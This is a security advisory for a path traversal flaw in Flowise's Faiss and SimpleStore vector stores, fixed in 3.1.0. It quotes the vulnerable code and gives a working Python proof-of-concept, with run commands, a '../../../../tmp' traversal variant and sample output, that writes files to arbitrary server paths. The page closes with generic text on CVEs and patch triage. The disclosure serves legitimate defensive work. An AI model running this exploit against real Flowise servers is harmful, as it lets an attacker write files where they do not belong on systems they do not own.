The Faiss and SimpleStore (LlamaIndex) vector store implementations accept a basePath parameter from user-controlled input and pass it directly to filesystem write operations without any sanitization. An authenticated attacker can exploit this to write vector store data to arbitrary locations on the server filesystem.
| Field | Value |
|-------|-------|
| Affected File | packages/components/nodes/vectorstores/Faiss/Faiss.ts (lines 79, 91) |
| Affected File | packages/components/nodes/vectorstores/SimpleStore/SimpleStore.ts (lines 83-104) |
documentStores:upsert-config permissionFaiss.ts)async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> {
const basePath = nodeData.inputs?.basePath as string // User-controlled
// ...
const vectorStore = await FaissStore.fromDocuments(finalDocs, embeddings)
await vectorStore.save(basePath) // Direct filesystem write, no validation
}
SimpleStore.ts)async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> {
const basePath = nodeData.inputs?.basePath as string // User-controlled
let filePath = ''
if (!basePath) filePath = path.join(getUserHome(), '.flowise', 'llamaindex')
else filePath = basePath // Used directly without sanitization
const storageContext = await storageContextFromDefaults({ persistDir: filePath }) // Writes to arbitrary path
}
An authenticated attacker can:
#!/usr/bin/env python3
"""
POC: Path Traversal in Vector Store basePath (CWE-22)
Usage:
python poc.py --target http://localhost:3000 --token <API_KEY> --store-id <STORE_ID> --credential <EMBEDDING_CREDENTIAL_ID>
"""
import argparse
import json
import urllib.request
import urllib.error
def post_json(url, data, headers):
req = urllib.request.Request(
url,
data=json.dumps(data).encode("utf-8"),
headers={**headers, "Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=120) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--token", required=True)
ap.add_argument("--store-id", required=True)
ap.add_argument("--credential", required=True)
ap.add_argument("--base-path", default="/tmp/flowise-path-traversal-poc")
args = ap.parse_args()
payload = {
"storeId": args.store_id,
"vectorStoreName": "faiss",
"vectorStoreConfig": {"basePath": args.base_path},
"embeddingName": "openAIEmbeddings",
"embeddingConfig": {"credential": args.credential},
}
url = args.target.rstrip("/") + "/api/v1/document-store/vectorstore/insert"
headers = {"Authorization": f"Bearer {args.token}"}
try:
status, body = post_json(url, payload, headers)
print(body)
except urllib.error.HTTPError as e:
print(e.read().decode())
if __name__ == "__main__":
main()
# Write to /tmp
python poc.py \
--target http://127.0.0.1:3000 \
--token <API_TOKEN> \
--store-id <STORE_ID> \
--credential <OPENAI_CREDENTIAL_ID> \
--base-path /tmp/flowise-pwned
# Path traversal variant
python poc.py \
--target http://127.0.0.1:3000 \
--token <API_TOKEN> \
--store-id <STORE_ID> \
--credential <OPENAI_CREDENTIAL_ID> \
--base-path "../../../../tmp/traversal-test"
$ python poc.py --target http://127.0.0.1:3000/ --token <TOKEN> --store-id 30af9716-ea51-47e6-af67-5a759a835100 --credential bb1baf6e-acb7-4ea0-b167-59a09a28108f --base-path /tmp/flowise-pwned
{"numAdded":1,"addedDocs":[{"pageContent":"Lorem Ipsum","metadata":{"docId":"d84d9581-0778-454d-984e-42b372b1b555"}}],"totalChars":0,"totalChunks":0,"whereUsed":[]}
$ ls -la /tmp/flowise-pwned/
total 16
drwxr-xr-x 4 user wheel 128 Jan 17 12:00 .
drwxrwxrwt 12 root wheel 384 Jan 17 12:00 ..
-rw-r--r-- 1 user wheel 1234 Jan 17 12:00 docstore.json
-rw-r--r-- 1 user wheel 5678 Jan 17 12:00 faiss.index
| Software | From | Fixed in |
|---|---|---|
flowise
|
- | 3.1.0 |
flowise-components
|
- | 3.1.0 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
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Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
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